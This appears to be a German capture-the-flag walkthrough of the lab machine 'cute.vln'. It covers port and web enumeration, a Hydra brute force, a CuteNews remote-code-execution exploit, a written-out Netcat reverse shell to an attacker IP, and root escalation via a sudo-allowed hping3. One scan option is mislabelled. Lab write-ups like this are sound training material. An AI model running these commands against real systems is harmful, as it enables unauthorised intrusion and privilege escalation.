In diesem Abschnitt führen wir eine umfassende Aufklärung des Zielsystems durch. Wir beginnen mit einem ARP-Scan, um das Ziel im Netzwerk zu identifizieren.
Der ARP-Scan hat die IP-Adresse 192.168.2.155 mit der MAC-Adresse 08:00:27:a9:4d:3c identifiziert. Dies bestätigt, dass das Zielsystem im Netzwerk vorhanden ist. Wir notieren die IP-Adresse, um sie in nachfolgenden Scans zu verwenden.
Wir fügen die IP-Adresse und den Hostnamen "cute.vln" zur /etc/hosts-Datei hinzu, um die spätere Verwendung des Hostnamens zu erleichtern. Dies ermöglicht uns, das Zielsystem über den Hostnamen anstelle der IP-Adresse anzusprechen.
Wir führen einen umfassenden Nmap-Scan durch, um offene Ports und Dienste auf dem Zielsystem zu identifizieren. Der Befehl kombiniert verschiedene Scan-Techniken, um möglichst viele Informationen zu sammeln. Der `grep open`-Filter zeigt nur die Zeilen an, die offene Ports enthalten.
Die Ergebnisse zeigen, dass die Ports 22 (SSH), 80 (HTTP), 88 (HTTP), 110 (POP3) und 995 (SSL/POP3) offen sind. Dies deutet auf verschiedene laufende Dienste hin, die potenzielle Angriffsflächen darstellen.
Dieser umfassende Nmap-Scan liefert detaillierte Informationen über die offenen Ports, die laufenden Dienste und deren Versionen. Wir sehen, dass SSH (OpenSSH 7.9p1), HTTP (Apache 2.4.38 und nginx 1.14.2) und POP3 (Courier pop3d) ausgeführt werden. Die SSL-Zertifikate für POP3 sind abgelaufen, was ein potenzielles Sicherheitsproblem darstellt.
Dieser Nmap-Scan verwendet die `-sY`-Option für einen SYN-Stealth-Scan, um offene Ports zu identifizieren. Die Ergebnisse zeigen, dass alle Ports in ignorierten Zuständen sind, was darauf hindeutet, dass Firewall-Regeln oder andere Sicherheitsmaßnahmen den Scan blockieren könnten.
In diesem Abschnitt konzentrieren wir uns auf die Enumeration der Webdienste, die auf den Ports 80 und 88 laufen. Wir verwenden Nikto, um nach potenziellen Schwachstellen und Konfigurationsfehlern zu suchen.
Nikto identifiziert verschiedene potenzielle Sicherheitsprobleme, darunter fehlende X-Frame-Options- und X-Content-Type-Options-Header, das Fehlen des `httponly`-Flags für Cookies, die Offenlegung von Inodes über ETags, eine veraltete Apache-Version und die Verfügbarkeit von Webserver-Handbüchern und Standarddateien. Diese Informationen helfen uns, die Angriffsfläche weiter einzugrenzen.
Gobuster wird verwendet, um versteckte Verzeichnisse und Dateien auf dem Webserver zu finden. Die Ergebnisse zeigen verschiedene interessante Pfade, darunter `/index.php`, `/search.php`, `/LICENSE.txt` und `/manual/`. Diese Pfade könnten weitere Informationen über die Webanwendung liefern.
Wir verwenden Wfuzz, um eine Path Traversal-Schwachstelle in der `search.php`-Datei zu testen. Der Payload `../../../../../../../../etc/passwd` zielt darauf ab, die `/etc/passwd`-Datei des Servers auszulesen. Die Option `--hc 404` filtert alle Antworten mit dem Statuscode 404 heraus, und `--hh 5246` filtert Antworten mit einer Länge von 5246 Zeichen heraus, um relevante Ergebnisse zu identifizieren. Das Ergebnis zeigt, dass der Angriff nicht erfolgreich war.
Nachdem wir die Webanwendung enumeriert haben, versuchen wir, uns Zugriff zu verschaffen. Wir beginnen mit einem Brute-Force-Angriff auf das Login-Formular von CuteNews.
Hydra wird verwendet, um einen Brute-Force-Angriff auf das Login-Formular von CuteNews durchzuführen. Wir versuchen, uns mit dem Benutzernamen "admin" und einer Liste von Passwörtern aus der `rockyou.txt`-Datei anzumelden. Der Angriff war jedoch nicht erfolgreich.
Da der Brute-Force-Angriff nicht erfolgreich war, versuchen wir, eine andere Schwachstelle in CuteNews auszunutzen. Wir passen einen Exploit an, um eine Remote Code Execution (RCE) zu erreichen.
Wir führen den angepassten Exploit aus. Der Exploit registriert einen neuen Benutzer, sendet einen Payload und öffnet eine Shell auf dem Zielsystem. Wir beobachten einen SyntaxWarning, aber das Script läuft erfolgreich durch.
Wir verwenden den `id`-Befehl, um die aktuellen Benutzerinformationen anzuzeigen. Wir sind als `www-data` angemeldet, was bedeutet, dass wir erfolgreich eine Shell auf dem System erhalten haben.
Wir konnten uns erfolgreich Zugriff auf das System als Benutzer `www-data` verschaffen.
Wir listen den Inhalt des `/home`-Verzeichnisses auf. Wir sehen das Verzeichnis `fox`.
Wir listen den Inhalt des Verzeichnisses `/home/fox` auf. Wir sehen die Datei `user.txt`, die wahrscheinlich die User-Flag enthält. Die Datei gehört dem Benutzer `root`, ist aber für alle lesbar.
Wir verwenden den Befehl `ss -altpn`, um die laufenden Netzwerkverbindungen und Listening Ports aufzulisten. Dies kann uns helfen, weitere Dienste und potenzielle Angriffsflächen zu identifizieren.
Die Ausgabe von `ss -altpn` zeigt die laufenden Dienste und ihre entsprechenden Ports. Wir sehen SSH (Port 22), HTTP (Port 80), einen nginx-Webserver (Port 88), POP3 (Ports 110 und 995) und andere Dienste.
Wir starten einen Netcat-Listener auf Port 4444 auf unserem lokalen System. Dies dient dazu, eine Reverse Shell vom Zielsystem zu empfangen.
Wir überprüfen, ob Netcat auf dem Zielsystem installiert ist. Die Ausgabe zeigt, dass Netcat unter `/usr/bin/nc` verfügbar ist.
Wir verwenden Netcat auf dem Zielsystem, um eine Reverse Shell zu unserem lokalen System aufzubauen. Der Befehl `nc -e /bin/bash 192.168.2.199 4444` startet eine Bash-Shell und verbindet sie mit unserem lokalen System über Port 4444.
Wir erhalten eine Verbindung von dem Zielsystem auf unserem lokalen Netcat-Listener. Dies bestätigt, dass die Reverse Shell erfolgreich aufgebaut wurde.
Nachdem wir eine Shell als `www-data` erhalten haben, versuchen wir, unsere Privilegien zu erhöhen, um Root-Zugriff zu erlangen.
Wir verwenden den Befehl `find / -type f -perm -4000 -ls 2>/dev/null`, um nach SUID-Dateien auf dem System zu suchen. SUID-Dateien werden mit den Privilegien des Eigentümers (in der Regel Root) ausgeführt, unabhängig davon, welcher Benutzer die Datei ausführt. Das Finden einer unsicheren SUID-Datei kann uns ermöglichen, Root-Zugriff zu erlangen.
Die Ausgabe von `find` zeigt eine Liste von SUID-Dateien. Die Datei `/usr/sbin/hping3` ist besonders interessant, da sie auch das SGID-Bit gesetzt hat.
Wir überprüfen, ob `curl` auf dem System installiert ist. Die Ausgabe zeigt, dass `curl` nicht gefunden wurde.
Wir versuchen, den Pfad zu `curl` zu finden. Die Ausgabe ist leer, was bestätigt, dass `curl` nicht auf dem System installiert ist.
Wir analysieren die SUID-Datei `/usr/sbin/hping3` weiter, um eine Möglichkeit zur Privilegienerhöhung zu finden.
Wir verwenden den Befehl `sudo -l`, um die sudo-Rechte des aktuellen Benutzers (`www-data`) anzuzeigen.
Die Ausgabe von `sudo -l` zeigt, dass der Benutzer `www-data` den Befehl `/usr/sbin/hping3 --icmp` als Root ausführen darf, ohne ein Passwort einzugeben.
Wir recherchieren, wie wir `hping3` ausnutzen können, um eine Shell als Root zu erhalten. Wir finden Informationen auf GTFOBins.
Wir folgen dem Link zu GTFOBins, um eine Methode zur Privilegienerhöhung mit `hping3` zu finden.
Wir führen `hping3` aus.
Wir verwenden den Befehl `/bin/sh -p` in `hping3`, um eine privilegierte Shell zu starten.
Wir verwenden den Befehl `id`, um die aktuellen Benutzerinformationen anzuzeigen.
Die Ausgabe von `id` zeigt, dass wir jetzt als Root angemeldet sind. Der Effektive Benutzer und die Effektive Gruppe sind auf Root gesetzt.
Wir verwenden den Befehl `whoami`, um den aktuellen Benutzer anzuzeigen.
Die Ausgabe von `whoami` bestätigt, dass wir jetzt als `root` angemeldet sind. Fantastisch! Der Root-Zugriff war erfolgreich, unser Ziel ist erreicht.
Wir navigieren in das Root-Verzeichnis und listen den Inhalt auf.
Wir sehen die Datei `root.txt`, die wahrscheinlich die Root-Flag enthält.
Wir geben den Inhalt der Datei `root.txt` aus.
Wir haben die Root-Flag gefunden!
Wir navigieren in das Home-Verzeichnis von `fox` und listen den Inhalt auf.
Wir sehen die Datei `user.txt`, die wahrscheinlich die User-Flag enthält.
Wir geben den Inhalt der Datei `user.txt` aus.